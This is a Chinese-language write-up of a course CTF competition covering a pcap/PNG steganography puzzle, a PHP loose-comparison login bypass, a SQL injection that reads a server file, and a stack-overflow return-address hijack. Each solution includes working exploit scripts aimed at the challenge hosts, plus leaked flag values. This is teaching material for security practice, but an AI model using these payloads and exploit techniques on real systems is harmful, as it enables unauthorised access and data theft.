0%

网络安全工程与实践 CTF比赛 WriteUp

我很少打CTF比赛,这次比赛又加深了我对CTF比赛的不明所以的印象。可能是题目的问题吧。

有一些题目,我感觉就是很无厘头,没有逻辑,如果你和出题人想到一块去了,那你就做出来了,不然你就只能看运气了。(我认为一道好的CTF题不是这样的)在我看来最有意义的CTF题目是你可以从中学到新知识,而不是简单地重复尝试你知道的。

Misc

这道题目在我看来就是缝合怪,只要叠够多层,这道题就变得有意思了(?)

观察pcap包发现有很多DNS请求,看字符集像是base64编码的。用wireshark提取域名再decode之后得到一个压缩包,解压得到一个png文件。

这道题被ChatGPT坑了,ChatGPT使用了([\w\.]+)来匹配Base64,然而Base64还有其他字符。

image-20231230215232071

(此处细节用Windows打开)

首先发现文件的最后有很多无用的字节。计算它们的长度为10000,猜想是100x100的隐藏图片,转换后得到一个二维码,扫描之后得到m/wchhlbt/THUCTF2021

还没有完全得到flag,用pngcheck检查这个文件,发现CRC error in chunk IHDR。一般来说这种情况是图片宽度/高度被修改了导致的,于是写一个脚本爆破正确的参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import binascii
import struct

misc = open("part1.png", "rb").read()

for i in range(1024):
# data = misc[12:16] + struct.pack(">i", i) + misc[20:29]
data = misc[12:20] + struct.pack(">i", i) + misc[24:29]
crc32 = binascii.crc32(data) & 0xFFFFFFFF
if crc32 == 0x4B582F71:
print("Found:", i)

misc = misc[:20] + struct.pack(">i", i) + misc[24:]
open("part1_fixed.png", "wb").write(misc)

打开之后得到:

part1_fixed

是一个GitHub仓库,从记录里一个字符一个字符地提取flag即可。

最后一步我都找到仓库了,非要恶心人一个字符一个字符地找。没有难度,只有浪费时间。

Web_1

这道题还挺有意思,学到新知识就是好题。

这道题给出了code.php的源码。观察源码发现只要使得代码运行到这一行即可获得 flag:

1
2
3
4
5
6
7
case 'login':
if ($_POST['cb_user'] == 'admin' && !preg_match('/a/si', $_POST['cb_pass']) && md5($_POST['cb_pass']) == md5($_POST['cb_salt'].'a')) {
$_SESSION['admin'] = true;
die(lib\Flag::FLAG1);
} else
die('try harder');
break;

仔细观察,发现首先要满足这个条件:

1
2
if ($_GET['action'] == 'login' && $_POST['cb_user'] == 'admin' && $_SERVER['REMOTE_ADDR'] != '127.0.0.1')
die('access denied');

我最开始尝试的方向是修改HTTP请求头来假冒$_SERVER['REMOTE_ADDR'],例如X-Forwarded-For,但是都失败了。后来发现它是直接读取的IP包的来源。

陷入困难,发现提示是GET, POST, REQUEST,搜索后发现REQUEST是GET和POST的集合,对于上面的if语句,只要$_GET['action']设置了但不是login即可。$_REQUEST['action']可以在POST里设置。这样请求可以得到try harder

然后观察有关md5的条件,要求cb_pass不含a,且md5(cb_pass) == md5(cb_salt + 'a')。这很难找到,但是php的==是弱比较(万恶之源),如果两个的md5值形如0exx...x其中x为数字,将科学计数法转换为数字后即可得到0==0。这样的例子是比较好找的。我们已经有一个著名的例子:md5(QNKCDZO)=0e830400451993494058024219903391,接下来再写程序找到另一个以a结尾的字符串满足要求即可。最终代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

url = "http://chal.course.redbud.info/code.php?action=nologin"

s = requests.Session()
response = s.post(
url,
data={
"action": "login",
"cb_user": "admin",
"cb_pass": "QNKCDZO",
"cb_salt": "156606938",
},
)
print(response.content)

Web_2

根据提示,我们的目标是读取flag1所在的文件,即lib/flag.php,我们可以利用的操作是save_item(保存任意文件到主机)和list_itemsave-item中会调用SQL语句,观察是否可能SQL注入。发现name有比较严格的审查,而uuid一项实际上仅限制了\S,这允许任意非空白字符输入,所以可以从这里注入。于是我们将filename覆盖为lib/flag.php。保存后再执行list_item即可得到文件内容,文件中同时还有flag3的提示:

1
<?php\nnamespace lib;\n\nclass Flag {\n    const FLAG1 = 'flag{simple_php_bypass_f4ffbe58}';\n    const FLAG2 = 'flag{simple_sql_injection_41278e35}';\n    // FLAG3 is in /flag3, call /readflag3 to read it;\n}\n
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests

url = "http://chal.course.redbud.info:33395/code.php?action=nologin"

s = requests.Session()
response = s.post(
url,
data={
"action": "login",
"cb_user": "admin",
"cb_pass": "QNKCDZO",
"cb_salt": "156606938",
},
)
print(response.content)

response = s.post(
url,
data={
"action": "save_item",
"item[name]": "exp",
"item[uuid]": "12345678-','lib/flag.php')#012345678",
"item[content]": '<?php include(__DIR__."/../lib/flag.php"); ?>',
},
)
print(response.content)

response = s.post(
url,
data={"action": "list_item"},
)
print(response.content)

Pwn_1

发现可以telnet连接到实例的端口,请求用户输入,估计是栈溢出。

直接用IDA反编译:

image-20231230172647222

image-20231230172700761

image-20231230172711430

那么目标就很明确了,劫持返回地址到back即可。返回地址是rbp+8,因此得到代码:

1
2
3
4
5
6
7
8
9
from pwnlib.util.packing import p64
from pwnlib.tubes.remote import remote

io = remote("chal.course.redbud.info", 33219)
print(io.recvline())
print(io.recvline())
target = 0x0000000000400706
io.send(b"A" * (0x70 + 8) + p64(target) + b"\n")
io.interactive()

image-20231230172812156

pwnlib ban 掉了import *,我的评价是装什么孙子。实用是第一位的。